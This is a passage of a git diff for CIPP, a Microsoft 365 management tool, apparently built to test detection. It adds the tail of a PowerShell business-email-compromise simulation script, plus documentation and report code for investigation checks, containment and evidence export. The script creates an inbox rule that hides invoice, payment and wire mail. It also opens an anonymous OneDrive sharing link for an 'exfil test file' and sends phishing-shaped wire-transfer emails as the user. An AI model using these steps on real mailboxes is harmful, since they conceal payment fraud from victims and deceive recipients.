re-run." -ForegroundColor DarkGray + } elseif (-not $HasOneDrive) { + Write-Host " [skip] OneDrive sharing link - the test user has no OneDrive. Provision it (Identity > user > Pre-provision OneDrive, or open onedrive.com once as the user), then re-run." -ForegroundColor DarkGray + } else { + Invoke-Step "Upload OneDrive file and create a '$ShareScope' sharing link -> AnonymousLinks(+3)" { + $Upload = Invoke-RestMethod -Method PUT -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/${SimFileName}:/content" -Headers @{ Authorization = "Bearer $Token" } -Body "$Marker exfil test file" -ContentType 'text/plain' + $null = Invoke-BecSimGraph -Method POST -Uri "/me/drive/items/$($Upload.id)/createLink" -Body @{ type = 'view'; scope = $ShareScope } -Token $Token + } + } + + # User-created inbox rule: needs Mail.ReadWrite or MailboxSettings.ReadWrite consent. + if ($HasRuleScope) { + Invoke-Step "Create inbox rule '$GraphRuleName' as the user (move to Deleted Items, mark read)" { + $DelFolder = Invoke-BecSimGraph -Method GET -Uri '/me/mailFolders/deleteditems?$select=id' -Token $Token + $null = Invoke-BecSimGraph -Method POST -Uri '/me/mailFolders/inbox/messageRules' -Body @{ + displayName = $GraphRuleName; sequence = 1; isEnabled = $true + conditions = @{ subjectContains = @('invoice', 'payment', 'wire') } + actions = @{ moveToFolder = $DelFolder.id; markAsRead = $true; stopProcessingRules = $true } + } -Token $Token + } + } else { + Write-Host " [skip] user inbox rule - the token has no Mail.ReadWrite/MailboxSettings.ReadWrite. Admin-consent the sign-in app for it, then re-run." -ForegroundColor DarkGray + } + + $Recipients = if ($SendMailTo) { $SendMailTo } else { @($UserPrincipalName) } + if ($HasSend) { + Invoke-Step "Send $BurstCount message(s) as the user to $($Recipients -join ', ')" { + for ($i = 1; $i -le $BurstCount; $i++) { + $null = Invoke-BecSimGraph -Method POST -Uri '/me/sendMail' -Body @{ + message = @{ + subject = "$Marker urgent wire request" + body = @{ contentType = 'Text'; content = "$Marker simulation message $i" } + toRecipients = @($Recipients | ForEach-Object { @{ emailAddress = @{ address = $_ } } }) + } + saveToSentItems = $true + } -Token $Token + } + } + } else { + Write-Host " [skip] sent-mail burst - the token has no Mail.Send. Admin-consent the sign-in app for it, then re-run." -ForegroundColor DarkGray + } + + # Phishing-shaped internal + external mail (opt-in). One message each so a real user does not trip + # Microsoft's outbound-spam protection; the body is plainly a simulation. Sent mail is NOT undone by + # -Cleanup (it lives in Sent Items and the recipient mailboxes) - delete it by hand if you must. + if ($SendPhishingMail) { + if (-not $HasSend) { + Write-Host " [skip] phishing-shaped mail - the token has no Mail.Send. Admin-consent the sign-in app for it, then re-run." -ForegroundColor DarkGray + } else { + $PhishBody = "$Marker BEC simulation - an automated test message from CIPP's BEC simulation tool. Ignore it: no action is required and no real payment or transfer is being requested." + $InternalTo = if ($PhishInternalTo) { $PhishInternalTo } else { $UserPrincipalName } + Invoke-Step "Send an internal phishing-shaped email as the user to $InternalTo" { + $null = Invoke-BecSimGraph -Method POST -Uri '/me/sendMail' -Body @{ + message = @{ + subject = "$Marker Urgent: approve the outstanding invoice payment today" + body = @{ contentType = 'Text'; content = $PhishBody } + toRecipients = @(@{ emailAddress = @{ address = $InternalTo } }) + } + saveToSentItems = $true + } -Token $Token + } + if ($PhishExternalTo) { + Invoke-Step "Send an external phishing-shaped email as the user to $PhishExternalTo" { + $null = Invoke-BecSimGraph -Method POST -Uri '/me/sendMail' -Body @{ + message = @{ + subject = "$Marker Wire transfer authorization - updated bank details" + body = @{ contentType = 'Text'; content = $PhishBody } + toRecipients = @(@{ emailAddress = @{ address = $PhishExternalTo } }) + } + saveToSentItems = $true + } -Token $Token + } + } else { + Write-Host ' [skip] external phishing email (pass -PhishExternalTo )' -ForegroundColor DarkGray + } + } + } +} else { + Write-Host ' [skip] SharePoint link + user-attributed actions (pass -AsUser to sign in as the victim)' -ForegroundColor DarkGray +} + +Write-Host '' +Write-Host 'Done. Now run a BEC investigation against this user in CIPP and confirm the checks light up.' -ForegroundColor Cyan +[PSCustomObject]@{ + TenantFilter = $TenantFilter + UserPrincipalName = $UserPrincipalName + Marker = $Marker + InboxRule = $RuleName + ForwardTo = $ForwardTo + SafelistDomain = $MarkerDomain + Delegation = if ($DelegateTo) { $DelegateTo -join ', ' } else { '(skipped)' } + TransportRule = if ($IncludeTransportRule) { $TransportRuleName } else { '(skipped)' } + SharePointLink = if ($AsUser) { "$SimFileName ($ShareScope)" } else { '(skipped; pass -AsUser)' } + UserInboxRule = if ($AsUser) { $GraphRuleName } else { '(skipped; pass -AsUser)' } + SentAsUser = if ($AsUser) { "$BurstCount message(s)" } else { '(skipped; pass -AsUser)' } + PhishingMail = if ($AsUser -and $SendPhishingMail) { "internal$(if ($PhishExternalTo) { ' + external' } else { ' only (pass -PhishExternalTo for external)' })" } else { '(skipped; pass -AsUser -SendPhishingMail)' } + Cleanup = 'Re-run with -Cleanup (add -AsUser to remove the OneDrive file and user rule). Sent mail is not auto-undone.' +} diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md index 38dc872465..22c5ccb7d0 100644 --- a/docs/SUMMARY.md +++ b/docs/SUMMARY.md @@ -149,6 +149,7 @@ * [Microsoft Entra Connect Report](user-documentation/identity/reports/azure-ad-connect-report.md) * [Risk Detections](user-documentation/identity/reports/risk-detections.md) * [Group Usage Report](user-documentation/identity/reports/group-usage.md) + * [BEC Reports](user-documentation/identity/reports/bec-reports.md) * [Tenant Administration](user-documentation/tenant/README.md) * [Administration](user-documentation/tenant/administration/README.md) * [Tenants](user-documentation/tenant/administration/tenants/README.md) diff --git a/docs/user-documentation/identity/administration/users/user/bec.md b/docs/user-documentation/identity/administration/users/user/bec.md index 1a68d8bed7..19410c2d10 100644 --- a/docs/user-documentation/identity/administration/users/user/bec.md +++ b/docs/user-documentation/identity/administration/users/user/bec.md @@ -12,9 +12,15 @@ Nothing on this page is proof of a compromise. The checks surface the informatio ## Running the Analysis -The analysis runs as a background job. The first visit queues it and the page polls until it finishes, which can take up to ten minutes on a tenant with a lot of log data. The result is then cached against the user, so returning to the page shows the earlier run rather than starting a new one. +Nothing runs when the page opens: it loads the user's run history and shows the latest run, or an empty status card with the start button when there is none. Starting a run queues a background job. The status card then shows whether the job is still **queued** (no worker has picked it up yet) or **running**, which phase it is in, and each phase's outcome as it completes - the same live progress the SharePoint template deployment uses. A run usually takes a few minutes; a tenant with a lot of log data can take up to ten. A run that makes no progress for twenty minutes - typically because the background worker restarted - is marked failed the next time the page polls it, with the reason shown; start a new run. Every run is kept as a **case** with its own id (`BEC--`), so returning to the page shows the user's latest run rather than starting a new one, and the **Run history** card lists every earlier run with its scope, threat level and score. Select a past run to view it exactly as it was collected; delete a run to remove it and its evidence permanently. The same history for every user, and every tenant, is on the [BEC Reports](../../../reports/bec-reports.md) page. -The **Log information** card at the top of the checks reports whether the audit log extraction succeeded and when the data was pulled. It is the first thing to read, because the outcome shapes everything below it. +Every run is the full investigation: checks 1 to 21 below - the classic signals plus the mailbox delegation inventory and forwarding, auto-reply and protocol state, the user's own application consents, transport rules, mailbox add-ins, phishing-shaped received mail and Defender verdicts, the Entra directory audit, registered devices, non-interactive sign-ins, mailbox activity counts and Identity Protection state. Runs made before the investigation became full-only are labelled **Quick check (older run)** and hold checks 1 to 11 only. + +Runs can also be queued for many users at once. Select the users on the [Users](../README.md) page and choose **Run BEC check**, pick the scope, and one run per user (at most fifty per request) is queued as a single job that the Queue page tracks. Each run is a separate case and shows up on the [BEC Reports](../../../reports/bec-reports.md) page and in the user's own run history as it completes. + +Everything collected is metadata: audit records, sign-ins, directory audits, message-trace headers, permissions, consents, rules and devices. No message body, attachment or file content is ever read or stored, which keeps the investigation inside what a partner relationship permits. + +The **Log information** card at the top of the checks reports whether the audit log extraction succeeded, when the data was pulled, and which case and scope the page is showing. It is the first thing to read, because the outcome shapes everything below it. Each check card also carries a **Partial** or **Failed** chip when its collector hit a paging cap or could not read its source; hover it for the reason. A partial or failed check is reported as such rather than shown as clean. {% hint style="danger" %} Most checks depend on the unified audit log. When it is disabled for the tenant, the Log information card says so and the checks that read from it come back empty rather than clean. An empty result in that state means nothing was available to search, not that nothing happened. @@ -38,6 +44,21 @@ Every check covers the seven days before the analysis ran, apart from the MFA de | Check 10: Sign-in Locations | The user's last fifty sign-ins with the application, result, IP address, country, and city, compared against the account's assigned usage location. The card's count is the number of foreign data points found across sign-ins, rule changes, safelist changes, sharing changes, and sent mail. See [#location-analysis](bec.md#location-analysis "mention") below. | | Check 11: Sharing Links | Every OneDrive and SharePoint sharing link the account created or changed during the window, with the file, who it was shared with, and the IP address it was done from. Anonymous links are called out separately, because anyone holding the URL can open them and they give an intruder a data feed that survives a password reset. | +The full analysis adds the following checks. + +| Check | What it looks for | +| -------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Check 12: Mailbox state & delegations | The mailbox's forwarding address, automatic-reply state (state, schedule and audience only; the reply text is never read), enabled protocols and auditing, plus every delegation on it: FullAccess, SendAs, SendOnBehalf, Calendar and Inbox folder permissions, and resource delegates. A trustee that is a guest, an address outside the tenant's accepted domains, or the Default/Anonymous principal with more than availability rights is flagged, as is any delegation whose grant appears in the window's audit log (check 4), whatever the trustee. | +| Check 13: Application consents | The applications this user has consented to and the enterprise-app roles assigned to them, with the client application's publisher and verification state. A consent is flagged when the application matches the CIPP known-malicious catalog or the Huntress rogue-apps feed, or carries a high-risk delegated scope (mail, files, directory, `offline_access`...) from an unverified, non-Microsoft publisher. Consent survives a password reset. | +| Check 14: Transport rules | Tenant-wide transport rules created, changed, enabled, disabled or removed during the window, attributed to the administrator and IP that made the change, flagged when the change set a diversion or suppression action (BCC, redirect, delete, quarantine, spam score). The current rules are listed too: any rule with a diversion action (BCC, copy, redirect, added recipients, moderation, outbound connector) whatever its age, and rules with a suppression action (delete, quarantine, spam score, header changes) only when they changed in the window - a description alone never flags a rule - with the tenant's total rule count. | +| Check 15: Mailbox add-ins | The add-ins available to the mailbox. Enabled, user-installed add-ins from a non-Microsoft provider are flagged; an add-in can read and send mail on the user's behalf. | +| Check 16: Received mail | Mail delivered to the user during the window, from message-trace metadata only: sender, subject, status, size and originating IP. Subjects are matched against five phishing patterns (urgency, account verification, suspension, prizes, invoices), and sender domains within one or two character edits of one of the tenant's own domains are flagged as look-alikes. Where Defender for Office 365 Plan 2 is licensed, its analysed-email verdicts for the recipient are added, with the messages that reached the mailbox called out. | +| Check 17: Entra directory audit | Directory audit events that targeted, or were initiated by, the user during the window, with who did it and from where. Security-info registration, application consent, service-principal creation, device registration, password and token events and role changes are flagged. | +| Check 18: Registered devices | Entra devices registered to the user, with those registered during the window flagged. A device registered during the window can be an intruder's virtual machine or phone, and a route to Windows Hello for Business persistence. | +| Check 19: Non-interactive sign-ins | The user's most recent non-interactive sign-ins (token refreshes and background token use), compared against the usage location like Check 10. Stolen tokens and adversary-in-the-middle sessions show up here rather than in the interactive log. | +| Check 20: Mailbox activity | Counts of the user's mailbox operations from the unified audit log, bucketed by operation, client IP and application: item accesses, hard and soft deletes, sends, and messages sent as or on behalf of the user by someone else. Only counts are kept; no item, subject or folder is read. Hard deletes above the configured threshold are flagged. Item-access records need Purview Audit (Premium). | +| Check 21: Identity Protection | Whether Entra ID Protection lists the user as risky, at what level and in what state, with the risk detections raised during the window. Needs Entra ID P2; when it cannot be read the card says so rather than reporting the user as not risky. | + {% hint style="info" %} Checks 2, 4, and 7 are tenant-wide rather than scoped to this user, and Check 3 sweeps the whole tenant for catalog matches. That is deliberate: an intruder who has taken one mailbox often leaves traces elsewhere, so a new account or an unfamiliar application appearing in the same window is worth knowing about even though it has nothing to do with the mailbox in front of you. {% endhint %} @@ -86,23 +107,80 @@ If CIPP cannot read the tenant's Intune devices, the card says so in red and sho | Action | Description | | ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Refresh Data | Discards the cached result and runs the analysis again. Use it when the cached data predates something you need to see, such as a rule created in the last few minutes or a device you have just retired. The page returns to its waiting state while the new run completes. | -| Remediate User | Runs the containment steps listed on the overview card in one go: blocks sign-in, resets the password, disconnects all current sessions, removes every MFA method, disables all inbox rules, and disables OneDrive sharing. A confirmation dialog appears first. | +| Run investigation | Starts a new run of all 21 checks. The earlier run stays in the history. Use it when the data on screen predates something you need to see, such as a rule created in the last few minutes or a device you have just retired. The page returns to its waiting state while the new run completes. | +| Contain user | Opens the containment drawer described under [#containment](bec.md#containment "mention"): pick the actions and their targets, type the UPN for critical ones, run. | | Generate PDF Report | Opens a preview of a formatted report covering the findings, written to be readable by managers and end users as well as technicians, and suitable for attaching to a compliance record. **Download PDF** saves it. What the report contains is covered under [#pdf-report](bec.md#pdf-report "mention") below. | | Download JSON | Saves the complete analysis as a JSON file, including data the cards do not display. | +| Export evidence | Builds the evidence package for the run on screen and downloads it: a ZIP holding the PDF report, the results JSON, a CSV per finding set, the containment history, every logbook entry for the case and a manifest with the SHA-256 of each file. See [#evidence-export](bec.md#evidence-export "mention"). | {% hint style="warning" %} -Removing every MFA method leaves the account with no second factor registered. Once sign-in is unblocked and the password reset, the user has to register a method again, so plan how they will do that before running the remediation on someone who is not sitting next to you. +Removing every MFA method leaves the account with no second factor registered. Once sign-in is unblocked and the password reset, the user has to register a method again, so plan how they will do that before running the containment on someone who is not sitting next to you. {% endhint %} +## Containment + +**Contain user** replaces the fixed six-step remediation with a drawer of selectable actions. The classic six are preselected; the rest are off until you switch them on. Actions that act on specific things - consents, delegations, rules, add-ins, devices - get a picker filled from the run's findings, with the flagged items preselected, so what you saw in the checks is what gets contained. + +| Action | Impact | What it does | +| ------------------------------------ | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Reset password | Critical | New random password (shown once, or as a PwPush link), change required at next sign-in. | +| Block sign-in | Critical | Disables the account. A directory-synced account must also be disabled on-premises or the next sync re-enables it; the result says so. | +| Revoke sessions | High | Invalidates every refresh token. | +| Remove MFA methods | High | Every method, or only the ones picked. | +| Revoke application consents | Critical | Deletes the picked consent grants and app-role assignments (flagged ones by default). | +| Disable rogue applications tenant-wide | Critical | Disables the service principal of every application that matched the rogue-app catalogs, for all users. Reversible from the enterprise applications page. | +| Disable inbox rules | High | All rules except the junk and out-of-office system rules, or only the ones picked. | +| Clear mailbox forwarding | High | Removes the forwarding address and SMTP forwarding address. | +| Turn off automatic replies | Medium | Disables the out-of-office reply. | +| Remove mailbox delegations | Critical | Removes the picked FullAccess, SendAs, SendOnBehalf, folder and resource-delegate permissions (flagged ones by default). | +| Disable transport rules | Critical | Disables the picked tenant-wide rules (by default the flagged rules changed in the window). Affects every mailbox. | +| Disable mailbox add-ins | Medium | Disables the picked add-ins for this mailbox. | +| Block legacy mailbox protocols | High | Turns off EWS, IMAP, POP and ActiveSync by default; OWA, MAPI, ECP and SMTP AUTH can be added. | +| Block / remove mobile device partnerships | High | Blocks the picked ActiveSync devices, or deletes the partnerships so they must pair again. | +| Disable / delete registered devices | High / Critical | Disables or deletes the picked Entra devices (those registered in the window by default). | +| Targeted Conditional Access policy | High | A policy for this user only requiring MFA (optionally plus a compliant device) for every app, enabled or report-only, removed automatically after the chosen hours. | +| Disable OneDrive sharing | Medium | Sets the user's OneDrive sharing to disabled. Existing links are not removed. | + +The flow is deliberate: + +1. Each selected action shows the targets it will act on, defaulting to the run's flagged findings; adjust them in the pickers before running. +2. When any **Critical** action is selected, the drawer asks you to type the user's UPN. Nothing runs until it matches. +3. **Run containment** executes the actions in a fixed order (password, sign-in, sessions, MFA, consents, applications, rules, forwarding, auto-reply, delegations, transport rules, add-ins, protocols, devices, Conditional Access, OneDrive), each on its own, so one failure never stops the rest. Every action is logged with the case id, and the outcome is recorded on the run so the history and the evidence package carry it. + {% hint style="info" %} -**Remediate User** does not touch the user's devices or remove applications, and while it disables OneDrive sharing it does not review links that were already created. If Check 9 has turned up an enrolment you do not recognise, Check 3 a malicious application, or Check 11 a sharing link you cannot explain, dealing with those is a separate decision and a separate action. +The same containment runs from the audit-log alert action **Execute a BEC Remediate**. The alert rule can now choose which containment actions it runs; with none chosen it runs the classic six. Alerts confirm critical actions by design - there is no human to type the UPN - so be deliberate about which rules get it. The **NewRiskyUsers** scheduled alert has an opt-in switch that runs the classic six for users that newly appear at high risk. +{% endhint %} + +### Purview content search and purge + +The **Purview content search and purge** card is the GDAP-compatible answer to "get that phishing message out of everyone's mailbox". Enter the sender, a subject fragment and the dates, choose every mailbox or a list, and CIPP creates and starts a Purview content search. **Refresh status** shows the state and the item count per mailbox - counts only; CIPP never retrieves the messages. The **Who else received mail from this sender?** row action on the received-mail findings (and **Trace a sender's spread**) lists the recipients of a sender from message-trace metadata, split into internal and external, to decide which mailboxes the search should cover. The row actions also add the sender or its whole domain to the Tenant Allow/Block List. + +Purging soft-deletes the found items through Purview. It is irreversible from CIPP and is gated two ways: only a CIPP **super admin** sees the control, and the **search name must be typed** to confirm; the status above the control shows the counts that will be purged. Purview removes at most 10 items per mailbox per purge, so repeat the search and purge until the count reaches zero. + +{% hint style="warning" %} +Content search needs the CIPP-SAM service principal in a Purview role group that includes **Compliance Search** (eDiscovery Manager); purging additionally needs **Search And Purge**. Neither is granted by the CIPP-SAM setup. When the role is missing the result says exactly that rather than failing silently. {% endhint %} {% hint style="info" %} The JSON export carries three data sets that no card displays: the last fifty sign-ins for the tenant as a whole (`TenantLastSignIns`), the user's single most recent sign-in, and the mobile devices attached to the mailbox. If the investigation turns on tenant-wide sign-in activity or an unrecognised mobile device, that is where to look. The Intune device list in the export also holds the manufacturer, model, owner type, and assigned user, none of which the card shows. {% endhint %} +## Evidence export + +**Export evidence (ZIP)** on the Report card packages everything CIPP holds about the case so it can be handed to an insurer, a client, a forensic partner or a compliance file, and be verified later. The package is built on the server from the stored run and contains: + +| File | Contents | +| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `report.pdf` | The PDF report, rendered in the browser at export time with your instance branding. | +| `results.json` | The complete results of the run, exactly as the page and the report use them. | +| `findings/*.csv` | One CSV per finding set (inbox rules, delegations, consents, transport rules, received-mail findings, sign-ins, devices and so on). Empty sets are skipped. | +| `score.json` | The threat score with every signal that contributed to it. | +| `containment.json` | Every containment run recorded on the case, with passwords redacted. | +| `logbook.json` | Every CIPP logbook entry stamped with the case id, from the moment the run was queued to the export itself. | +| `manifest.sha256.json` | The case, tenant, user, who exported it and when, and the SHA-256 of every file above. | + +The package is built fresh for every export and streamed to your browser - nothing is stored. Each export's SHA-256, time and size are recorded on the run (the last twenty) and shown next to the button and on the [BEC Reports](../../../reports/bec-reports.md) page, so a copy received later can be checked against the export it came from. Downloads from the reports page are built the same way but without the PDF, which only the browser can render. Like the run itself, the package holds metadata only. + ## PDF Report The report is built from the analysis already on screen, so it never starts a fresh run and always reflects the same cached result the cards are showing. Its cover names the user rather than the tenant, and the logo, cover image, colours, footer and watermark come from your instance branding, described in [branding.md](../../../../cipp/settings/branding.md "mention"). Its detailed findings use the same check numbers as the page, 1 through 11. @@ -117,10 +195,25 @@ The report is built from the analysis already on screen, so it never starts a fr ### Threat Assessment -The **Threat Assessment** banner on the executive summary is a total of fixed points, one contribution per finding, regardless of how many results that finding returned. +The **Threat Assessment** banner on the executive summary is a total of fixed points, one contribution per finding, regardless of how many results that finding returned. The score is computed by the backend when the run completes and stored with it, so the page's **Threat assessment** card, the report and the API all show the same number and the same list of signals that fired. The weights live in `Config/BecHeuristics.json`. | Finding | Points | | ---------------------------------------------------------------- | ------ | +| Identity Protection lists the user as confirmed compromised | 5 | +| A consent to an application in the rogue-app catalogs | 5 | +| Identity Protection lists the user at high risk | 4 | +| A transport rule with a diversion or suppression action changed | 4 | +| A consent with a high-risk scope from an unverified publisher | 3 | +| Mail received from a look-alike of one of the tenant's domains | 3 | +| A Defender-classified threat delivered to the mailbox | 3 | +| A successful non-interactive sign-in from outside the usage location | 3 | +| A flagged mailbox delegation (external, guest or catch-all) | 2 | +| A flagged directory-audit event | 2 | +| An Entra device registered in the window | 2 | +| Hard deletes above the threshold, or mailbox access from a foreign IP | 2 | +| Identity Protection lists the user at medium risk | 2 | +| A user-installed non-Microsoft add-in | 1 | +| Identity Protection lists the user at low risk | 1 | | A rule that moves mail to an RSS folder | 5 | | An application matching the known-malicious catalog | 5 | | One or more inbox rules on the mailbox | 3 | diff --git a/docs/user-documentation/identity/reports/bec-reports.md b/docs/user-documentation/identity/reports/bec-reports.md new file mode 100644 index 0000000000..a24ffe0620 --- /dev/null +++ b/docs/user-documentation/identity/reports/bec-reports.md @@ -0,0 +1,39 @@ +--- +description: Every Business Email Compromise run, for every user and every tenant, in one place. +--- + +# BEC Reports + +The BEC Reports page lists every [Compromise Remediation](../administration/users/user/bec.md) run CIPP has kept: one row per case, for every user in the selected tenant, or across all tenants when **All Tenants** is selected. It is where to go back to an investigation after the fact, to pull the report or the evidence package for a run completed weeks ago, or to see which runs queued from the Users page have finished. + +Runs are never expired automatically. A run stays, with its results, until it is deleted here or from the user's run history. + +## Columns + +| Column | Description | +| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | +| Tenant | The tenant the run belongs to. | +| UserPrincipalName | The investigated user. | +| Level | The threat level the server assigned: High, Medium or Low. Empty while the run is waiting or when it failed. | +| Score | The threat score behind the level. The breakdown is on the run itself. | +| Scope | **Full** for every run since the investigation became full-only; **Quick** on older runs that collected only the classic eleven checks. | +| Status | **Waiting** while queued or running, **Completed**, or **Error** with the reason in the details panel. | +| ExtractedAt | When the data was collected. | +| RequestedBy | Who queued the run, or the alert engine when an alert started it. | +| ContainmentRuns | How many containment runs were recorded on the case. | +| HasEvidence | Whether evidence has been exported for the run at least once. Every export's hash, time and size are recorded on the run; the latest is in the details panel. | +| CaseId | The case id. It appears on every logbook line the run, its containment and its exports produced, so the Logbook can be filtered to a single case. | + +The filters at the top narrow the list to High threat levels or completed runs. + +## Actions + +| Action | Description | +| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| View run | Opens the user's Compromise Remediation page showing this run exactly as it was collected. From there the PDF report, the JSON and the evidence package can be produced, and containment run, for that case. | +| Download evidence package (ZIP) | Builds a fresh evidence package from the stored run (without the PDF report, which only the browser can render) and downloads it. Every export is hashed and recorded on the run; compare a copy's SHA-256 with its recorded export before relying on it. | +| Delete run | Removes the run, its results and its evidence package permanently. The logbook entries stamped with the case id are not removed. | + +{% hint style="info" %} +Everything a run holds is metadata: audit records, sign-ins, directory audits, message-trace headers, permissions, consents, rules and devices. No message body, attachment or file content is collected, stored or exported. +{% endhint %} diff --git a/frontend/src/components/BECRemediationReportButton.jsx b/frontend/src/components/BECRemediationReportButton.jsx index 7cb7b06a2c..4a94a0749e 100644 --- a/frontend/src/components/BECRemediationReportButton.jsx +++ b/frontend/src/components/BECRemediationReportButton.jsx @@ -8,6 +8,9 @@ import { DialogContent, DialogActions, Box, + Stack, + ToggleButton, + ToggleButtonGroup, Typography, IconButton, CircularProgress, @@ -24,9 +27,11 @@ import { ClearBox, ContentPage, CoverMeta, + DataTable, InfoBox, Note, Paragraph, + ProgressList, ReportDocument, Section, StatRow, @@ -42,7 +47,10 @@ export const BECRemediationReportDocument = ({ tenantName, remediationData, variables, + // 'full' (default) = every page; 'summary' = the executive pages only, for a C-suite reader. + variant = 'full', }) => { + const isSummary = variant === 'summary' const currentDate = new Date().toLocaleDateString('en-US', { year: 'numeric', month: 'long', @@ -67,7 +75,9 @@ export const BECRemediationReportDocument = ({ const formatSafelistValue = (value) => { if (!value) return 'unchanged' - return Array.isArray(value) ? value.join(', ') || 'unchanged' : String(value) + return Array.isArray(value) + ? value.join(', ') || 'unchanged' + : String(value) } // Calculate statistics @@ -77,9 +87,9 @@ export const BECRemediationReportDocument = ({ newUsers: becData?.NewUsers?.length || 0, newApps: becData?.AddedApps?.length || 0, permissionChanges: becData?.MailboxPermissionChanges?.length || 0, - permissionChangesTargetingUser: (becData?.MailboxPermissionChanges || []).filter( - (change) => change?.TargetsSuspect === true - ).length, + permissionChangesTargetingUser: ( + becData?.MailboxPermissionChanges || [] + ).filter((change) => change?.TargetsSuspect === true).length, mfaDevices: becData?.MFADevices?.length || 0, passwordChanges: becData?.ChangedPasswords?.length || 0, sentMessages: becData?.SentMessages?.length || 0, @@ -104,7 +114,8 @@ export const BECRemediationReportDocument = ({ const locationAnalysis = becData?.LocationAnalysis stats.foreignSignIns = locationAnalysis?.ForeignSignInCount || 0 - stats.foreignSuccessfulSignIns = locationAnalysis?.ForeignSuccessfulSignInCount || 0 + stats.foreignSuccessfulSignIns = + locationAnalysis?.ForeignSuccessfulSignInCount || 0 stats.foreignSentMessages = locationAnalysis?.ForeignSentMessageCount || 0 stats.foreignActivity = (locationAnalysis?.ForeignRuleChangeCount || 0) + @@ -114,19 +125,23 @@ export const BECRemediationReportDocument = ({ // the analysis window: 7 days before the data was extracted const analysisWindowStart = (() => { - const extractedAt = becData?.ExtractedAt ? new Date(becData.ExtractedAt) : new Date() + const extractedAt = becData?.ExtractedAt + ? new Date(becData.ExtractedAt) + : new Date() if (Number.isNaN(extractedAt.getTime())) { return new Date(new Date().getTime() - 7 * 24 * 60 * 60 * 1000) } return new Date(extractedAt.getTime() - 7 * 24 * 60 * 60 * 1000) })() - const recentIntuneDevices = (becData?.IntuneDevices || []).filter((device) => { - if (!device?.enrolledDateTime) return false - const enrolled = new Date(device.enrolledDateTime) - if (Number.isNaN(enrolled.getTime())) return false - return enrolled >= analysisWindowStart - }) + const recentIntuneDevices = (becData?.IntuneDevices || []).filter( + (device) => { + if (!device?.enrolledDateTime) return false + const enrolled = new Date(device.enrolledDateTime) + if (Number.isNaN(enrolled.getTime())) return false + return enrolled >= analysisWindowStart + } + ) stats.recentIntuneDevices = recentIntuneDevices.length const isRecentMfaDevice = (method) => { @@ -135,21 +150,44 @@ export const BECRemediationReportDocument = ({ if (Number.isNaN(created.getTime())) return false return created >= analysisWindowStart } - stats.recentMfaDevices = (becData?.MFADevices || []).filter(isRecentMfaDevice).length + stats.recentMfaDevices = (becData?.MFADevices || []).filter( + isRecentMfaDevice + ).length // successful foreign sign-ins first - they prove access, failed ones are mostly spray noise const foreignSignIns = (becData?.SuspectUserSignIns || []) .filter((signIn) => signIn?.ForeignLocation === true) .sort((a, b) => (b?.Status === 'Success') - (a?.Status === 'Success')) - const sortedIntuneDevices = [...(becData?.IntuneDevices || [])].sort((a, b) => { - const aTime = a?.enrolledDateTime ? new Date(a.enrolledDateTime).getTime() : 0 - const bTime = b?.enrolledDateTime ? new Date(b.enrolledDateTime).getTime() : 0 - return bTime - aTime - }) + const sortedIntuneDevices = [...(becData?.IntuneDevices || [])].sort( + (a, b) => { + const aTime = a?.enrolledDateTime + ? new Date(a.enrolledDateTime).getTime() + : 0 + const bTime = b?.enrolledDateTime + ? new Date(b.enrolledDateTime).getTime() + : 0 + return bTime - aTime + } + ) - // Determine threat level + // Determine threat level. Runs made after the score moved server-side carry becData.Score + // (same weights, computed once for the API, the page and this report); older cached runs + // fall back to the original client-side calculation so they still render. const calculateThreatLevel = () => { + if (becData?.Score?.Level) { + const level = becData.Score.Level + return { + level, + value: becData.Score.Value, + color: + level === 'High' + ? '#742A2A' + : level === 'Medium' + ? '#744210' + : '#22543D', + } + } let threatScore = 0 if (stats.newRules > 0) threatScore += 3 if (stats.ruleChanges > 0) threatScore += 3 @@ -163,7 +201,9 @@ export const BECRemediationReportDocument = ({ if (stats.safelistChanges > 0) threatScore += 2 // Check for suspicious rules (RSS folder moves) - const hasSuspiciousRules = becData?.NewRules?.some((rule) => rule.MoveToFolder?.includes('RSS')) + const hasSuspiciousRules = becData?.NewRules?.some((rule) => + rule.MoveToFolder?.includes('RSS') + ) if (hasSuspiciousRules) threatScore += 5 // A catalog-matched application is a confirmed bad indicator, not a heuristic @@ -180,12 +220,473 @@ export const BECRemediationReportDocument = ({ if (stats.recentMfaDevices > 0) threatScore += 2 if (stats.recentIntuneDevices > 0) threatScore += 2 - if (threatScore >= 7) return { level: 'High', color: '#742A2A' } - if (threatScore >= 4) return { level: 'Medium', color: '#744210' } - return { level: 'Low', color: '#22543D' } + if (threatScore >= 7) + return { level: 'High', value: threatScore, color: '#742A2A' } + if (threatScore >= 4) + return { level: 'Medium', value: threatScore, color: '#744210' } + return { level: 'Low', value: threatScore, color: '#22543D' } } const threatLevel = calculateThreatLevel() + const appliedSignals = (becData?.Score?.Breakdown || []).filter( + (signal) => signal.Applied + ) + const completenessEntries = Object.entries(becData?.Completeness || {}) + // A check that could not run for lack of a licence/permission/mailbox is "skipped" (not applicable), + // reported apart from a check that failed or was capped - a skipped check is never a clean pass. + const skippedCollectors = completenessEntries.filter( + ([, marker]) => marker && marker.Skipped + ) + const incompleteCollectors = completenessEntries.filter( + ([, marker]) => marker && marker.Complete === false && !marker.Skipped + ) + const isFullScope = becData?.Scope === 'Full' + const windowDays = becData?.AnalysisWindowDays || 7 + const flaggedDelegations = (becData?.Delegations || []).filter( + (d) => d.Flagged + ) + const flaggedGrants = (becData?.UserGrants || []).filter((g) => g.Flagged) + const flaggedTransportChanges = (becData?.TransportRuleChanges || []).filter( + (c) => c.Flagged + ) + const flaggedTransportRules = becData?.TransportRulesFlagged || [] + const flaggedAddIns = (becData?.MailboxAddIns || []).filter((a) => a.Flagged) + const receivedFindings = becData?.ReceivedMailFindings || [] + const deliveredThreats = (becData?.DefenderDetections || []).filter( + (d) => d.Delivered + ) + const flaggedAudits = (becData?.DirectoryAudits || []).filter( + (a) => a.Flagged + ) + const recentRegisteredDevices = (becData?.RegisteredDevices || []).filter( + (d) => d.RegisteredInWindow + ) + const foreignNonInteractive = 